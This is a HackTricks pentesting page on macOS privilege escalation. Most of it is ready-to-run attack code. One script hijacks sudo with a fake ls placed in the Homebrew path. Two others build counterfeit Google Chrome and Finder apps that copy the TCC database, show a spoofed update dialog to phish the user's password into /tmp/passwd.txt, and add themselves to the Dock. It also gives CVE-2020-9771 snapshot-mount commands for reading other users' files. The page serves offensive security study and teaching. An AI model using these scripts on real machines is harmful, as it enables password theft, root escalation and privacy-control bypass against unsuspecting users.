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275 lines
12 KiB
Markdown
275 lines
12 KiB
Markdown
# macOS Privilege Escalation
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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## TCC Privilege Escalation
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If you came here looking for TCC privilege escalation go to:
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{% content-ref url="macos-security-protections/macos-tcc/" %}
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[macos-tcc](macos-security-protections/macos-tcc/)
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{% endcontent-ref %}
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## Linux Privesc
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Please note that **most of the tricks about privilege escalation affecting Linux/Unix will affect also MacOS** machines. So see:
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{% content-ref url="../../linux-hardening/privilege-escalation/" %}
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[privilege-escalation](../../linux-hardening/privilege-escalation/)
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{% endcontent-ref %}
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## User Interaction
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### Sudo Hijacking
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You can find the original [Sudo Hijacking technique inside the Linux Privilege Escalation post](../../linux-hardening/privilege-escalation/#sudo-hijacking).
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However, macOS **maintains** the user's **`PATH`** when he executes **`sudo`**. Which means that another way to achieve this attack would be to **hijack other binaries** that the victim sill execute when **running sudo:**
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```bash
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# Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH
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cat > /opt/homebrew/bin/ls <<EOF
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#!/bin/bash
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if [ "\$(id -u)" -eq 0 ]; then
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whoami > /tmp/privesc
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fi
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/bin/ls "\$@"
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EOF
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chmod +x /opt/homebrew/bin/ls
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# victim
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sudo ls
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```
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Note that a user that uses the terminal will highly probable have **Homebrew installed**. So it's possible to hijack binaries in **`/opt/homebrew/bin`**.
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### Dock Impersonation
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Using some **social engineering** you could **impersonate for example Google Chrome** inside the dock and actually execute your own script:
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{% tabs %}
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{% tab title="Chrome Impersonation" %}
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Some suggestions:
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* Check in the Dock if there is a Chrome, and in that case **remove** that entry and **add** the **fake** **Chrome entry in the same position** in the Dock array. 
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```bash
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#!/bin/sh
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# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)
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# If you want to removed granted TCC permissions: > delete from access where client LIKE '%Chrome%';
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rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null
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# Create App structure
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mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
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mkdir -p /tmp/Google\ Chrome.app/Contents/Resources
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# Payload to execute
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cat > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c <<EOF
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#include <stdio.h>
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#include <stdlib.h>
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#include <unistd.h>
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int main() {
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char *cmd = "open /Applications/Google\\\\ Chrome.app & "
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"sleep 2; "
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"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
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"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Enter your password to update Google Chrome:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"Applications:Google Chrome.app:Contents:Resources:app.icns\")' -e 'end tell' -e 'return userPassword'); "
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"echo \$PASSWORD > /tmp/passwd.txt";
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system(cmd);
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return 0;
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}
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EOF
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gcc /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c -o /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
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rm -rf /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c
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chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
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# Info.plist
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cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
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<?xml version="1.0" encoding="UTF-8"?>
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<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
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"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
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<plist version="1.0">
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<dict>
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<key>CFBundleExecutable</key>
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<string>Google Chrome</string>
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<key>CFBundleIdentifier</key>
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<string>com.google.Chrome</string>
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<key>CFBundleName</key>
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<string>Google Chrome</string>
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<key>CFBundleVersion</key>
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<string>1.0</string>
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<key>CFBundleShortVersionString</key>
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<string>1.0</string>
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<key>CFBundleInfoDictionaryVersion</key>
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<string>6.0</string>
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<key>CFBundlePackageType</key>
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<string>APPL</string>
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<key>CFBundleIconFile</key>
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<string>app</string>
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</dict>
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</plist>
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EOF
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# Copy icon from Google Chrome
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cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns
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# Add to Dock
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defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google Chrome.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
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sleep 0.1
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killall Dock
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```
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{% endtab %}
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{% tab title="Finder Impersonation" %}
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Some suggestions:
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* You **cannot remove Finder from the Dock**, so if you are going to add it to the Dock, you could put the fake Finder just next to the real one. For this you need to **add the fake Finder entry at the beginning of the Dock array**.
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* Another option is to not place it in the Dock and just open it, "Finder asking to control Finder" is not that weird.
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* Another options to **escalate to root without asking** the password with a horrible box, is make Finder really ask for the password to perform a privileged action:
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* Ask Finder to copy to **`/etc/pam.d`** a new **`sudo`** file (The prompt asking for the password will indicate that "Finder wants to copy sudo")
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* Ask Finder to copy a new **Authorization Plugin** (You could control the file name so the prompt asking for the password will indicate that "Finder wants to copy Finder.bundle")
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```bash
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#!/bin/sh
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# THIS REQUIRES Finder TO BE INSTALLED (TO COPY THE ICON)
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# If you want to removed granted TCC permissions: > delete from access where client LIKE '%finder%';
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rm -rf /tmp/Finder.app/ 2>/dev/null
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# Create App structure
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mkdir -p /tmp/Finder.app/Contents/MacOS
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mkdir -p /tmp/Finder.app/Contents/Resources
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# Payload to execute
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cat > /tmp/Finder.app/Contents/MacOS/Finder.c <<EOF
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#include <stdio.h>
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#include <stdlib.h>
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#include <unistd.h>
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int main() {
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char *cmd = "open /System/Library/CoreServices/Finder.app & "
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"sleep 2; "
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"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
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"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Finder needs to update some components. Enter your password:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"System:Library:CoreServices:Finder.app:Contents:Resources:Finder.icns\")' -e 'end tell' -e 'return userPassword'); "
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"echo \$PASSWORD > /tmp/passwd.txt";
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system(cmd);
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return 0;
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}
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EOF
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gcc /tmp/Finder.app/Contents/MacOS/Finder.c -o /tmp/Finder.app/Contents/MacOS/Finder
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rm -rf /tmp/Finder.app/Contents/MacOS/Finder.c
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chmod +x /tmp/Finder.app/Contents/MacOS/Finder
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# Info.plist
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cat << EOF > /tmp/Finder.app/Contents/Info.plist
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<?xml version="1.0" encoding="UTF-8"?>
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<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
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"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
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<plist version="1.0">
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<dict>
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<key>CFBundleExecutable</key>
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<string>Finder</string>
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<key>CFBundleIdentifier</key>
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<string>com.apple.finder</string>
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<key>CFBundleName</key>
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<string>Finder</string>
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<key>CFBundleVersion</key>
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<string>1.0</string>
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<key>CFBundleShortVersionString</key>
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<string>1.0</string>
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<key>CFBundleInfoDictionaryVersion</key>
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<string>6.0</string>
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<key>CFBundlePackageType</key>
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<string>APPL</string>
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<key>CFBundleIconFile</key>
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<string>app</string>
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</dict>
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</plist>
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EOF
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# Copy icon from Finder
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cp /System/Library/CoreServices/Finder.app/Contents/Resources/Finder.icns /tmp/Finder.app/Contents/Resources/app.icns
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# Add to Dock
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defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Finder.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
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sleep 0.1
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killall Dock
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```
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{% endtab %}
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{% endtabs %}
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## TCC - Root Privilege Escalation
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### CVE-2020-9771 - mount\_apfs TCC bypass and privilege escalation
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**Any user** (even unprivileged ones) can create and mount a time machine snapshot an **access ALL the files** of that snapshot.\
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The **only privileged** needed is for the application used (like `Terminal`) to have **Full Disk Access** (FDA) access (`kTCCServiceSystemPolicyAllfiles`) which need to be granted by an admin.
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{% code overflow="wrap" %}
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```bash
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# Create snapshot
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tmutil localsnapshot
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# List snapshots
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tmutil listlocalsnapshots /
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Snapshots for disk /:
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com.apple.TimeMachine.2023-05-29-001751.local
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# Generate folder to mount it
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cd /tmp # I didn it from this folder
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mkdir /tmp/snap
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# Mount it, "noowners" will mount the folder so the current user can access everything
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/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap
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# Access it
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ls /tmp/snap/Users/admin_user # This will work
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```
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{% endcode %}
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A more detailed explanation can be [**found in the original report**](https://theevilbit.github.io/posts/cve\_2020\_9771/)**.**
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## Sensitive Information
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This can be useful to escalate privileges:
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{% content-ref url="macos-files-folders-and-binaries/macos-sensitive-locations.md" %}
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[macos-sensitive-locations.md](macos-files-folders-and-binaries/macos-sensitive-locations.md)
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{% endcontent-ref %}
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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